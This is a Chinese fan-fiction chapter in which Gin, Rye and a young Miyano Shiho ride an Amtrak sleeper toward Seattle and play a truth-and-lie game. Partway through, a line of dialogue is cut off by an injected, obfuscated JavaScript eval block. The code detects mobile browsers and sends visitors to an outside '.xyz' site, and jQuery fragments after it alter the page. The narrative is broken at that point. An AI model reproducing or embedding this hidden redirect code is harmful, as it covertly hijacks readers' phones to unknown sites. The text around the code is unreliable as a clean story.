今天是12月20号。
他们目前的最终行程是乘坐Amtrak帝国建造者号列车到西雅图，然后乘坐阿拉斯加航空AS108到安克雷奇。
听完他们安排好出行路线后的宫野志保问：“买好票了吗？”
他耸耸肩：“在买票之前，我们首先需要先去买行李箱，然后是日常用品，再去试试假证行不行得通。不然我们大概率得在荒野求生和牢狱逃亡中选一个。”
琴酒正在默不作声地给伏特加多拨一笔加班费。虽然他作为上司而言口碑毁誉参半，但一般都集中在过于高压绝对的行事作风下，绝没有职场利益与克扣资金等事出现过，即使是基安蒂也不得不承认这点。宫野志保瞟了一眼，发现他转过去的数额甚至还额外补了圣诞节补贴，简直绰绰有余。
宫野志保在另一头和莱伊商量要买哪些东西，莱伊给她列了张清单，按照上边的日常用品去买，两人在商场面前分道扬镳。
最后结果是28寸硬壳的黑色行李箱，防水级别IPX6，内置分隔层，琴酒似乎是想往里边塞上一堆在宫野志保看起来颇为乱七八糟的东西，还好被莱伊及时阻止。他们在上车前就行李箱到底是用于装载哪些物品争论一番，最后结果是只允许武器以外的应急物品进去。
芝加哥联合车站拥有一个很漂亮的拱顶，光线透过彩绘玻璃投在铁路时刻表上。琴酒牵着宫野志保的手，他对照看孩子敬谢不敏，却还是一边叼着烟一边握住她手。她感觉他的枪茧似乎要比莱伊要厚一点，分布的关节位置也略有不同。
行李箱在光滑的大理石地面上滑行，人工雪絮粘在塑料杉树上，电子蜡烛在窗台闪烁。她的目光扫过车站的圣诞装饰，在挂着的红色圆球上停留一瞬。
这种随处可见的，标准化到廉价的节日氛围让她想起实验室里冰冷的心墙壁，以及一个人的留学生涯。同样精准，同样缺乏活力。
直到她看见莱伊的身影从人群中浮现，那个越野背包以很别扭的姿势挂在前边，离得近了才发现那是因为他在背后藏了个更大的东西。他把另一个快有宫野志保那么大的崭新泰迪熊塞进她怀里，然后将刚取出的车票递给琴酒。
纸张边缘还有留下的罐装咖啡渍，看起来是在买票的时候溜去自动售卖机奖赏了自己一杯黑咖啡。琴酒眯起眼睛，手指无意识敲打行李箱伸缩杆：“你来迟了21分钟。”
莱伊牵住宫野志保的另一只手：“我们说好不工作的，反正火车又不会和国会听证会一样准时。”
其实他们也没有多准时，弹劾和重大政策争议总是出现在方方面面与各个角落中，又总是拥有着广泛的影响力，起码对于美国境内如此。所以每个行动组的人在国会召开期间都会聚在一起打赌，猜这次的听证会会延长多久，算是某种比较小众的乐趣。
列车像一头冬眠的金属巨兽，在零下12度的空气中喷吐白雾。他们的包厢是B-22号，家庭卧铺包厢，伏特加订票时虽然没有明说，但每个人都听得出来他很困惑。这种困惑甚至令他战胜了自己的职业素养与自知之明，好奇心几乎快从话筒里溢出来。
于是两只手都被占用了的宫野志保眨眨眼，试探性地出声：“你好？”
电话另一头顿时传来一阵无意义的拟声词，混杂着日语的诸多敬语，在大量礼仪里面找到了小部分告别词，然后飞速挂掉了电话。
“……他比较笨。”琴酒肉眼可见的有点无语，但还是顽强地解释：“但还不错。”
宫野志保肯定去上铺，毫无疑问。琴酒睡她下边，莱伊去睡对面的另一张下铺。行李则可以堆在另一边上铺，给他们留出足够的手脚活动空间，以免不清不白地发生碰撞，进而导致一系列可能会出现的问题。
12:30 PM，列车启动，倾斜角度完全符合平原轨道标准，不出意外的话他们三个人要在这上面挨着相处整46个小时。听起来有些微妙，不过真正相处起来时感觉还好，气氛很舒适，不会因为沉默而尴尬，也不用说话。
在一般情况下，总是莱伊承担起主动开口又或是破冰的责任，尽管他其实也是个话偏少又冷淡的性格。然而放在宫野志保和琴酒两个人当中，他就又显得主动且精力旺盛起来，成功把西伯利亚的冻土寒风与大洋彼岸内敛水流连接在一起。
汽笛鸣响时，宫野志保靠在车窗旁，鼻尖蹭在车窗上，口鼻里呼出的白气模糊了天际线，把一切都晕染成朦胧的模样。怀里的泰迪熊毛绒绒的，卷毛挨在下巴上，它有个很滑稽的大眼睛，看起来就像电影《帕丁顿熊》中的主角。
密歇根湖的冰棱将阳光折射成白昼，就像没有黑暗存在一样。
四个小时后，起身去倒杯水的宫野志保路过桌子时无意发现贴在上面的简略行程有被更改过的痕迹。有个人在便利贴的字体旁补了好几个字上去，她好奇地走过去打量，发现每步行程都写上了对应的称呼。很幼稚，莫名透露出一种优雅的调戏。
陆路交响曲——脚下的这趟列车；空中小夜曲——到达西雅图后会坐的阿拉斯加航空；冰原狂想曲——雪地极光专列；极光圆舞曲——进北极圈。
她轻轻微笑了一下。
列车驶入威斯康星州时，琴酒和莱伊带着一身寒风从观景车厢回来。莱伊没有立领也没有围巾的下场就是鼻尖周围被冻得通红，耳尖也带着绯色，缀在本就冷白的皮肤上面。针织帽软趴趴的，整个人裹在羽绒服里边，看起来像一只膨胀的黑熊。
人种的优势在此刻暴露无疑，就算不是俄罗斯人也能看出带有明显东斯拉夫人人种特点的琴酒就安然无恙，甚至还有余韵把自己打扮的很有风度，气质与他旁边缩着脖子的那个人不可同日而语。
列车穿过蒙大拿的雪原时，窗外的天色已经从深蓝转黑，即将步入夜晚。车厢里的暖黄灯光很令人舒适，流淌的空气里诞生出一种裹挟着蜂蜜的气息。在这种温暖而放松的氛围里，莱伊突然出声打破寂静：“嚯，我们要不要试试这个？”
他把手机屏幕调转过来，上面正显示着［家庭聚会必玩有趣小游戏推荐］。
宫野志保努力回想着她的同学大概都会在聚会上玩些什么。她很少去社交，也不喜欢参与进这些活动当中，因此只能靠着模糊的印象举出几个例子：“真心话大冒险，谁是卧底，我有你没有，两个事实一个谎言？”
莱伊在琴酒面前打了个响指，并且伸手抽走了他指尖夹着的烟：“来？下次你喊我干活我肯定不拒绝。”
琴酒看着他，又看了看宫野志保。
他妥协了。
尽管他根本不知道自己为什么要妥协。或者换个问法，他根本不知道自己为什么不拒绝。虽然不想玩，但也没有什么要拒绝的理由，更何况莱伊还横插一脚，这人总是这样——好吧，很奇妙，人就是会经常性做出自己也没法完全理解的举动，特别是在未经思考的放松状态里。
游戏按顺时针顺序进行，第一个是宫野志保，她托起下巴，秀气的眉毛拧起来：“我想想……我最喜欢的颜色是绯色，之前琴酒身上的粉色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102575|179686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贴纸是我贴上去的，我不反感你们？”
莱伊问：“只是不反感？”
她翘着嘴角，聪明程度经常让人遗忘她的真实年龄，撑在下铺的床沿边缘，气定神闲地晃着小腿：“当然。”
顺时针下一个是琴酒，他又把莱伊刚从他嘴里抽出来的烟叼回去了，他没对宫野志保的三个选项发表什么看法。当然也没有选择哪个。只是说：“我拿莱伊的照片练过狙击，上周打靶全满，送你的那个包不是组织的意思。”
这话出来顿时引来两人纷纷注目。莱伊看着他，目光仿佛流露出一丝对其残忍行为的控诉，还有觉得颇有意思的兴味，又很快变成混杂着多种心情的沉默。最后居然变成充满怀念的释然，以及熟稔的叹息：“这种认可方式还是有点太超前了。”
宫野志保发现琴酒不喜欢谈论自己，特别是关于私人爱好的部分，举出来的都是关于现实与事情的部分。没有黑礼帽的遮挡，他的绿眼睛的边缘总是会拉开一道浓重的光晕，就像猫科动物在暗处的反光。
于是她猜测：“第三个？你当时分明说组织的意思是不亏待我。”
“错。我上周没去打靶。”
说是假期就是假期，琴酒历来公私分明。
车厢连接处传来金属撞击声，列车正经过某座铁桥，钢架结构的阴影如栅栏般掠过，列车的前进方向仍是漆黑的雪原。
这次轮到莱伊，他沉吟半响，慢慢地说：“ummm……我上次模拟的狙击成绩是1300码，我很想家，你们两个对我很重要。”
宫野志保有点怀疑他是在借这个机会既不尴尬也不留把柄的表达出某种爱意，但她没有证据。
她把每个都说的像假话，莱伊每个都说的像真话，琴酒则说他们无法验证也没看见的事。真是旗鼓相当的对手，未来的互坑互帮互助雏形在此刻就已经初具雏形。如果要让他们找出一个三人究竟是什么时候开始在情感上恶趣味地拉拉扯扯的时候，想必就是从莱伊此刻的话开始。
“第一个。”宫野志保率先猜测：“我觉得你应该不止这点距离。”
“那是真的。”莱伊看回来，语气轻描淡写。五官没有任何异常，神色也没有任何变化，果断到既显得像欲盖弥彰的假话，却又挑不出一丝违和或错误地说：“错的是第二个，我早就没有家了。”
这下琴酒面无表情地朝莱伊伸出手，掌心摊开向上，手指动了动。
“赌注。”他言简意赅地说：“你输了。”
“我怎么记得我们根本没有确认过规则？起码得是fifty-fifty吧？”
他一掀眼皮：你真的要讨论这个吗？
莱伊和他大眼瞪小眼半响，双方用眼神在短短几秒内进行了一个你来我往的谴责与交锋。最后他摸出裤兜里的好彩，把烟盒当赌注拍进他手里：“你赢了。”
宫野志保从对铺上跳下来，跑到他和琴酒中间，在他们衣服的褶皱里给自己整了个位置：“你输了的话，那我是不是也该有？”
莱伊看向她：你怎么也来？
他相当干脆地往床上一趟，整个人安详地瘫在那里，敞开所有衣服口袋，黑发和脸都陷进团起来的被褥与枕头当中：“我现在全身上下摸不出任何东西。”
银发男人似乎很轻的笑了一声。只是那个笑容的速度太快，光线也太昏暗，像蜻蜓点水一般，在所有人都还没看清时就掠过去了。
雪地上的列车驶过自由，驶过恐惧，驶过那些微薄的梦，驶过谎言下的真心。